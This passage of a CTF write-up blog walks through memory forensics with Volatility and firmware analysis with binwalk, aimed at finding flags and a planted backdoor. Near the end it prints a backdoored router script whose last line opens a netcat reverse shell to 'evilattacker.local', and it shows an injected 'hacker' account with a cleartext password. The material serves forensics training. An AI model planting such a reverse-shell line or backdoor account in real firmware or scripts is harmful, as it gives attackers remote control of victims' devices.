➜ volatility --profile = Win7SP1x64 -f memdump.mem consoles Volatility Foundation Volatility Framework 2.6 ************************************************** ConsoleProcess: conhost.exe Pid: 1612 Console: 0xffdd6200 CommandHistorySize: 50 HistoryBufferCount: 2 HistoryBufferMax: 4 OriginalTitle: - Title: - ---- CommandHistory: 0x2515a0 Application: - Flags: Allocated CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x58 ---- CommandHistory: 0x2512f0 Application: cygrunsrv.exe Flags: CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x0 ---- Screen 0x26fdd0 X:80 Y:300 Dump: ************************************************** ConsoleProcess: conhost.exe Pid: 744 Console: 0xffdd6200 CommandHistorySize: 50 HistoryBufferCount: 2 HistoryBufferMax: 4 OriginalTitle: %SystemRoot% \s ystem32 \c md.exe Title: Administrator: C: \W indows \s ystem32 \c md.exe AttachedProcess: cmd.exe Pid: 1940 Handle: 0x60 ---- CommandHistory: 0x22ef70 Application: whoami.exe Flags: CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x0 ---- CommandHistory: 0x22ec50 Application: cmd.exe Flags: Allocated, Reset CommandCount: 1 LastAdded: 0 LastDisplayed: 0 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x60 Cmd #0 at 0x22d810: whoami ---- Screen 0x211100 X:80 Y:300 Dump: Microsoft Windows [ Version 6.1.7601] Copyright ( c ) 2009 Microsoft Corporation. All rights reserved. C: \U sers \C TF-User-Admin>whoami ctf-win-7 \c tf-user-admin C: \U sers \C TF-User-Admin> ************************************************** ConsoleProcess: conhost.exe Pid: 1760 Console: 0xffdd6200 CommandHistorySize: 50 HistoryBufferCount: 1 HistoryBufferMax: 4 OriginalTitle: C: \U sers \C TF-User-Admin \D esktop \f lag449.exe Title: C: \U sers \C TF-User-Admin \D esktop \f lag449.exe AttachedProcess: flag449.exe Pid: 2368 Handle: 0x60 ---- CommandHistory: 0x21ecb0 Application: flag449.exe Flags: Allocated CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x60 ---- Screen 0x201170 X:80 Y:300 Dump: Please Enter Password:

We see that whoami was last invoked on the command line.

Forensics 101 (part 6)

Points: 10

What is the IP address of the host?

I admit I guessed with this one until I got the right IP address. There is definitely a “right” way to solve this, and I welcome your comments if you would like to guide me to the light. Here is how I solved it.

Volatility has several networking commands. Many are only valid for older versions of Windows. In fact, the only command listed that would run on the Win7SP1x64 profile was netscan . Netscan scans for network artifacts and “finds TCP endpoints, TCP listeners, UDP endpoints, and UDP listeners.”

Here is some of the output of netscan :

I looked for full local IP addresses, like in the line:

0x3ddba210 UDPv4 192.168.88.15:1900 * : * 1152 svchost.exe 2019-07-26 19:25:38 UTC+0000

I don’t remember if that was the correct IP address. I entered several IP addresses from the output of this command until one of them solved the challenge.

…

Hey, I got the points. That’s all that matters.

Firmware Hacked (part 1)

Points: 30

Someone altered this firmware. Find the flag and submit it.

Ok, now we are on to the second set of forensics challenges. We are provided a Firmware file and, indeed, we can confirm it is firmware.

➜ file Firmware Firmware: data

Neat. Searching the internet, I learned binwalk is a firmware analysis tool that can help us.

binwalk analyzes our firmware and gives us some information on what we’re working with. Specifically, we see that this is a Squashfs filesystem, so let’s have binwalk extract out that file system:

binwalk -e ./Firmware

There is a LOT in here. Time to hunt. We’re looking for a recently modified file, so let’s organize our file system by recently modified files. I ran this find command without the -newermt flag and then ran this more precise command with a date somewhere near the most recent dates that I saw.

➜ find _Firmware.extracted -type f -newermt 2019-08-07 -printf '$TY-%Tm-%Td %TT %p

' | sort $TY -08-20 11:32:30.0000000000 _Firmware.extracted/authorize $TY -08-20 11:32:30.0000000000 _Firmware.extracted/squashfs-root/etc/freeradius/mods-config/files/authorize $TY -08-21 10:09:41.0000000000 _Firmware.extracted/addpppoeconnected $TY -08-21 10:09:41.0000000000 _Firmware.extracted/addpppoetime $TY -08-21 10:09:41.0000000000 _Firmware.extracted/adjtimex $TY -08-21 10:09:41.0000000000 _Firmware.extracted/always $TY -08-21 10:09:41.0000000000 _Firmware.extracted/arp $TY -08-21 10:09:41.0000000000 _Firmware.extracted/arping $TY -08-21 10:09:41.0000000000 _Firmware.extracted/ash $TY -08-21 10:09:41.0000000000 _Firmware.extracted/autokill_wiviz $TY -08-21 10:09:41.0000000000 _Firmware.extracted/awk $TY -08-21 10:09:41.0000000000 _Firmware.extracted/basename $TY -08-21 10:09:41.0000000000 _Firmware.extracted/bash $TY -08-21 10:09:41.0000000000 _Firmware.extracted/beep $TY -08-21 10:09:41.0000000000 _Firmware.extracted/blkid $TY -08-21 10:09:41.0000000000 _Firmware.extracted/bunzip2 $TY -08-21 10:09:41.0000000000 _Firmware.extracted/cache_eap $TY -08-21 10:09:41.0000000000 _Firmware.extracted/cat $TY -08-21 10:09:41.0000000000 _Firmware.extracted/chap $TY -08-21 10:09:41.0000000000 _Firmware.extracted/chattr $TY -08-21 10:09:41.0000000000 _Firmware.extracted/check_ps $TY -08-21 10:09:41.0000000000 _Firmware.extracted/check_ses_led $TY -08-21 10:09:41.0000000000 _Firmware.extracted/chgrp $TY -08-21 10:09:41.0000000000 _Firmware.extracted/chilli $TY -08-21 10:09:41.0000000000 _Firmware.extracted/chilli_opt $TY -08-21 10:09:41.0000000000 _Firmware.extracted/chilli_query $TY -08-21 10:09:41.0000000000 _Firmware.extracted/chilli_radconfig $TY -08-21 10:09:41.0000000000 _Firmware.extracted/chilli_response $TY -08-21 10:09:41.0000000000 _Firmware.extracted/chmod $TY -08-21 10:09:41.0000000000 _Firmware.extracted/chown $TY -08-21 10:09:41.0000000000 _Firmware.extracted/chroot $TY -08-21 10:09:41.0000000000 _Firmware.extracted/clear $TY -08-21 10:09:41.0000000000 _Firmware.extracted/cmp $TY -08-21 10:09:41.0000000000 _Firmware.extracted/cp $TY -08-21 10:09:41.0000000000 _Firmware.extracted/cron.d $TY -08-21 10:09:41.0000000000 _Firmware.extracted/cut $TY -08-21 10:09:41.0000000000 _Firmware.extracted/date $TY -08-21 10:09:41.0000000000 _Firmware.extracted/dbclient $TY -08-21 10:09:41.0000000000 _Firmware.extracted/dc $TY -08-21 10:09:41.0000000000 _Firmware.extracted/dd $TY -08-21 10:09:41.0000000000 _Firmware.extracted/ddns_success $TY -08-21 10:09:41.0000000000 _Firmware.extracted/default $TY -08-21 10:09:41.0000000000 _Firmware.extracted/delpppoeconnected $TY -08-21 10:09:41.0000000000 _Firmware.extracted/detail $TY -08-21 10:09:41.0000000000 _Firmware.extracted/detail.log $TY -08-21 10:09:41.0000000000 _Firmware.extracted/df $TY -08-21 10:09:41.0000000000 _Firmware.extracted/dhcp6c $TY -08-21 10:09:41.0000000000 _Firmware.extracted/dhcp6c.conf $TY -08-21 10:09:41.0000000000 _Firmware.extracted/dhcp6c-state $TY -08-21 10:09:41.0000000000 _Firmware.extracted/dhcp6s ...

This is just a snippet of the returned results. You can see I’ve formatted the files with the last modified timestamp on the left. Let me say that getting to this point was at least an hour of blind searching through the file system until I organized my thoughts well enough to execute that find command. Feeling smug, I notice an interesting looking file name at the top of the list: _Firmware.extracted/authorize .

➜ cat _Firmware.extracted/authorize ... # # Default for SLIP: dynamic IP address, SLIP mode. # #DEFAULT Hint == "SLIP" # Framed-Protocol = SLIP # # Last default: rlogin to our main server. # #DEFAULT # Service-Type = Login-User, # Login-Service = Rlogin, # Login-IP-Host = shellbox.ispdomain.com # # # # Last default: shell on the local terminal server. # # # DEFAULT # Service-Type = Administrative-User # On no match, the user is denied access. hacker Cleartext-Password : = "toor" ######################################################### # You should add test accounts to the TOP of this file! # # See the example user "bob" above. # #########################################################

Well that definitely looks suspicious. However, if we look at the command we used to generate this list of modified files, you may notice I made a mistake. Let’s try it again:

➜ find _Firmware.extracted -type f -newermt 2019-08-07 -printf '$TY-%Tm-%Td %TT %p

' | sort -r $TY -09-27 21:25:17.7186270680 _Firmware.extracted/CB2787.xz $TY -09-27 21:25:17.7186270680 _Firmware.extracted/CB2787 $TY -09-27 21:25:17.7106270680 _Firmware.extracted/CB2309.xz $TY -09-27 21:25:17.7106270680 _Firmware.extracted/CB2309 $TY -09-27 21:25:17.7066270670 _Firmware.extracted/CB20BF.xz $TY -09-27 21:25:17.7066270670 _Firmware.extracted/CB20BF $TY -09-27 21:25:17.4786270590 _Firmware.extracted/19C2AF.squashfs $TY -09-27 21:25:16.3666270470 _Firmware.extracted/22CB.7z $TY -09-27 21:25:16.0000000000 _Firmware.extracted/22CB $TY -08-21 10:24:26.0000000000 _Firmware.extracted/squashfs-root/usr/sbin/httpd $TY -08-21 10:24:26.0000000000 _Firmware.extracted/httpd $TY -08-21 10:09:42.0000000000 _Firmware.extracted/var $TY -08-21 10:09:42.0000000000 _Firmware.extracted/user $TY -08-21 10:09:42.0000000000 _Firmware.extracted/smb $TY -08-21 10:09:41.0000000000 _Firmware.extracted/yes $TY -08-21 10:09:41.0000000000 _Firmware.extracted/xl2tpd.conf $TY -08-21 10:09:41.0000000000 _Firmware.extracted/xargs $TY -08-21 10:09:41.0000000000 _Firmware.extracted/write $TY -08-21 10:09:41.0000000000 _Firmware.extracted/whoami $TY -08-21 10:09:41.0000000000 _Firmware.extracted/which $TY -08-21 10:09:41.0000000000 _Firmware.extracted/wget $TY -08-21 10:09:41.0000000000 _Firmware.extracted/wc $TY -08-21 10:09:41.0000000000 _Firmware.extracted/watchdog $TY -08-21 10:09:41.0000000000 _Firmware.extracted/watch ...

Ahh, we needed to reverse the sort to get the most recently modified files. It is unlikely that the authorize file is actually what we need since it was not recently modified. At the very least, I didn’t see anything that screamed “flag.” Now we have a more updated list of modified files. Wait…but no, those 9/27 files correspond to the day I re-ran this exercise when writing this blog (similarly, I had dates day-of when going through this exercise during Derbycon). I’m not getting accurate results from this.

At this point, a couple of hours into this challenge, I was very frustrated and running whatever querying commands I could think of.

grep --color -E -R Flag: ./_Firmware.extracted

Wait. Wa-oh. Damn it. Ok. That’s 3805d35c-2440-4e0a-8dac-52245b6232ed.

Firmware Hacked (part 2)

Points: 30

We think there’s a backdoor, find the script. Identify and submit the domain.

This challenge frustrated me more than the previous one. I spent about 2-3 hours on this challenge and I was throwing commands at the file system. I know I need to find a script, so I collect a list of all scripts:

➜ find _Firmware.extracted -type f -name '*.sh' -exec ls -la '{}' \; -rw-r--r-- 1 artis3n artis3n 990 Aug 6 03:54 _Firmware.extracted/cidrroute.sh -rw-r--r-- 1 artis3n artis3n 542 Aug 28 2012 _Firmware.extracted/hotplug2-createmtd.sh -rw-r--r-- 1 artis3n artis3n 1519 Aug 6 03:54 _Firmware.extracted/lease_update.sh -rw-r--r-- 1 artis3n artis3n 934 Aug 6 03:54 _Firmware.extracted/openvpnlog.sh -rw-r--r-- 1 artis3n artis3n 1866 Aug 6 03:54 _Firmware.extracted/openvpnstate.sh -rw-r--r-- 1 artis3n artis3n 1981 Aug 6 03:54 _Firmware.extracted/openvpnstatus.sh -rw-r--r-- 1 artis3n artis3n 2697 Aug 6 03:54 _Firmware.extracted/wl_snmpd.sh -rw-r--r-- 1 artis3n artis3n 821 Aug 6 03:54 _Firmware.extracted/qmisierrastatusdetect.sh -rw-r--r-- 1 artis3n artis3n 1475 Aug 6 03:54 _Firmware.extracted/qmistatus.sh -rw-r--r-- 1 artis3n artis3n 2322 Aug 6 03:54 _Firmware.extracted/sierrastatus.sh -rw-r--r-- 1 artis3n artis3n 972 Aug 6 03:54 _Firmware.extracted/pptpd_client.sh -rw-r--r-- 1 artis3n artis3n 1950 Aug 6 03:54 _Firmware.extracted/proxywatchdog.sh -rw-r--r-- 1 artis3n artis3n 119 Aug 6 03:54 _Firmware.extracted/schedulerb.sh -rw-r--r-- 1 artis3n artis3n 617 Aug 6 03:54 _Firmware.extracted/wdswatchdog.sh -rw-r--r-- 1 artis3n artis3n 1404 Aug 6 03:54 _Firmware.extracted/connect.sh -rw-r--r-- 1 artis3n artis3n 6882 Aug 6 03:54 _Firmware.extracted/hso_connect.sh -rw-r--r-- 1 artis3n artis3n 21 Aug 21 10:09 _Firmware.extracted/functions.sh -rw-r--r-- 1 artis3n artis3n 190 Aug 6 03:54 _Firmware.extracted/vtysh_init.sh -rw-r--r-- 1 artis3n artis3n 1215 Aug 6 03:54 _Firmware.extracted/call_splashd_check.sh -rw-r--r-- 1 artis3n artis3n 3126 Aug 6 03:54 _Firmware.extracted/check_splashd.sh -rw-r--r-- 1 artis3n artis3n 939 Aug 6 03:54 _Firmware.extracted/remote_settings.sh -rw-r--r-- 1 artis3n artis3n 274 Aug 6 03:54 _Firmware.extracted/test_arp.sh -rw-r--r-- 1 artis3n artis3n 124 Aug 6 03:54 _Firmware.extracted/traffic_input_count.sh -rw-r--r-- 1 artis3n artis3n 123 Aug 6 03:54 _Firmware.extracted/traffic_output_count.sh -rw-r--r-- 1 artis3n artis3n 1131 Aug 6 03:54 _Firmware.extracted/upgrade_check.sh -rwxr-xr-x 1 artis3n artis3n 990 Aug 6 03:54 _Firmware.extracted/squashfs-root/etc/cidrroute.sh -rwxr-xr-x 1 artis3n artis3n 156 Aug 6 03:54 _Firmware.extracted/squashfs-root/etc/comgt/connect.sh -rwxr-xr-x 1 artis3n artis3n 821 Aug 6 03:54 _Firmware.extracted/squashfs-root/etc/comgt/qmisierrastatusdetect.sh -rwxr-xr-x 1 artis3n artis3n 1475 Aug 6 03:54 _Firmware.extracted/squashfs-root/etc/comgt/qmistatus.sh -rwxr-xr-x 1 artis3n artis3n 2322 Aug 6 03:54 _Firmware.extracted/squashfs-root/etc/comgt/sierrastatus.sh -rwxr-xr-x 1 artis3n artis3n 972 Aug 6 03:54 _Firmware.extracted/squashfs-root/etc/config/pptpd_client.sh -rwxr-xr-x 1 artis3n artis3n 1950 Aug 6 03:54 _Firmware.extracted/squashfs-root/etc/config/proxywatchdog.sh -rwxr-xr-x 1 artis3n artis3n 119 Aug 6 03:54 _Firmware.extracted/squashfs-root/etc/config/schedulerb.sh -rwxr-xr-x 1 artis3n artis3n 617 Aug 6 03:54 _Firmware.extracted/squashfs-root/etc/config/wdswatchdog.sh -rwxr-xr-x 1 artis3n artis3n 542 Aug 28 2012 _Firmware.extracted/squashfs-root/etc/hotplug2-createmtd.sh -rwxr-xr-x 1 artis3n artis3n 1404 Aug 6 03:54 _Firmware.extracted/squashfs-root/etc/hso/connect.sh -rwxr-xr-x 1 artis3n artis3n 6882 Aug 6 03:54 _Firmware.extracted/squashfs-root/etc/hso/hso_connect.sh -rwxr-xr-x 1 artis3n artis3n 1519 Aug 6 03:54 _Firmware.extracted/squashfs-root/etc/lease_update.sh -rwxr-xr-x 1 artis3n artis3n 934 Aug 6 03:54 _Firmware.extracted/squashfs-root/etc/openvpnlog.sh -rwxr-xr-x 1 artis3n artis3n 1866 Aug 6 03:54 _Firmware.extracted/squashfs-root/etc/openvpnstate.sh -rwxr-xr-x 1 artis3n artis3n 1981 Aug 6 03:54 _Firmware.extracted/squashfs-root/etc/openvpnstatus.sh -rwxr-xr-x 1 artis3n artis3n 2697 Aug 6 03:54 _Firmware.extracted/squashfs-root/etc/wl_snmpd.sh -rwxr-xr-x 1 artis3n artis3n 190 Aug 6 03:54 _Firmware.extracted/squashfs-root/usr/bin/vtysh_init.sh -rwxr-xr-x 1 artis3n artis3n 1215 Aug 6 03:54 _Firmware.extracted/squashfs-root/usr/libexec/nocat/call_splashd_check.sh -rwxr-xr-x 1 artis3n artis3n 3126 Aug 6 03:54 _Firmware.extracted/squashfs-root/usr/libexec/nocat/check_splashd.sh -rwxr-xr-x 1 artis3n artis3n 939 Aug 6 03:54 _Firmware.extracted/squashfs-root/usr/libexec/nocat/remote_settings.sh -rwxr-xr-x 1 artis3n artis3n 274 Aug 6 03:54 _Firmware.extracted/squashfs-root/usr/libexec/nocat/test_arp.sh -rwxr-xr-x 1 artis3n artis3n 124 Aug 6 03:54 _Firmware.extracted/squashfs-root/usr/libexec/nocat/traffic_input_count.sh -rwxr-xr-x 1 artis3n artis3n 123 Aug 6 03:54 _Firmware.extracted/squashfs-root/usr/libexec/nocat/traffic_output_count.sh -rwxr-xr-x 1 artis3n artis3n 1131 Aug 6 03:54 _Firmware.extracted/squashfs-root/usr/libexec/nocat/upgrade_check.sh

I started grepping through these files looking for something suspicious. I tried grep ing for *com* , *org* , *net* , etc. across these files, trying to suss out URLs. Nothing suspicious popped out. I ran strings on each script in turn and manually walked through the results, but there was too much noise. I was not getting anywhere with this challenge.

A colleague prompted me to think about how, as an attacker, I might try to exfiltrate my data from the backdoor. I looked again at my list of scripts.

_Firmware.extracted/openvpnlog.sh _Firmware.extracted/openvpnstate.sh _Firmware.extracted/openvpnstatus.sh

➜ cat _Firmware.extracted/openvpnstatus.sh #!/bin/sh if [ " $( nvram get openvpn_enable ) " = "1" ] ; then PORT = ` grep "^management " /tmp/openvpn/openvpn.conf | awk '{print $3}' ` if [ x ${ PORT } = x ] then PORT = 14 fi echo -n "<table><tr><td colspan=5>VPN Server Stats: " # STATS /bin/echo "load-stats" | /usr/bin/nc 127.0.0.1 ${ PORT } | grep SUCCESS | \ awk -F " " '{print $2}' | awk -F "," '{print $1 ", " $2 ", " $3}' echo -e "<hr/></td></tr>

" # CLIENT LIST /bin/echo "status 2" | /usr/bin/nc 127.0.0.1 ${ PORT } | \ awk '/HEADER,CLIENT_LIST/{printline = 1; next} /HEADER,ROUTING_TABLE/ {printline = 0} printline' | \ awk -F "," 'BEGIN{print "<tr><th>Client</th><th>Remote IP:Port</th><th>Bytes Received</th><th>Bytes Sent</th><th>Connected Since</th></tr>

"}{ printf "<tr><td>%s</td><td>%s</td><td>%d</td><td>%d</td><td>%s</td></tr>

", $2, $3, $6, $7, $8; } END{print "

<tr><td colspan=5><br></td></tr>

<tr><td colspan=5>VPN Server Routing Table<hr/></td></tr>

"}' # ROUTING TABLE /bin/echo "status 2" | /usr/bin/nc 127.0.0.1 ${ PORT } | \ awk '/HEADER,ROUTING_TABLE/{printline = 1; next} /GLOBAL_STATS/ {printline = 0} printline' | \ awk -F "," 'BEGIN{print "<tr><th>Client</th><th>Virtual Address</th><th colspan=2>Real Address</th><th>Last Ref</th></tr>

"}{ printf "<tr><td>%s</td><td>%s</td><td colspan=2>%s</td><td>%s</td></tr>

", $3, $2, $4, $5; } END{print "

"}' echo -e "</table>

<br>

" ; fi if [ " $( nvram get openvpncl_enable ) " = "1" ] ; then PORT = ` grep "^management " /tmp/openvpncl/openvpn.conf | awk '{print $3}' ` if [ x ${ PORT } = x ] then PORT = 16 fi /bin/echo "status 2" | /usr/bin/nc 127.0.0.1 ${ PORT } | grep "bytes" | awk -F "," 'BEGIN{print "<table><tr><td colspan=2>VPN Client Stats<hr></td></tr>"}{ printf "<tr>

<td>%s</td><td>%d</td>

</tr>", $1, $2; } END{print "</table>"}' fi /usr/bin/nc -e /bin/sh evilattacker.local 80

Well, all right then. evilattacker.local. In hindsight, I should have grep’d for usage of nefarious exfiltration tools, of which netcat ( nc ) is popular. That would have sped up the time it took me to solve this significantly.

Wrap-up

I would like to thank Bank of America’s Global Information Security Team for putting together a great CTF. I really enjoyed it (aside from the times I wanted to bash my head against something hard) and I learned a lot from it. I look forward to taking these skills and improving on them in future CTFs.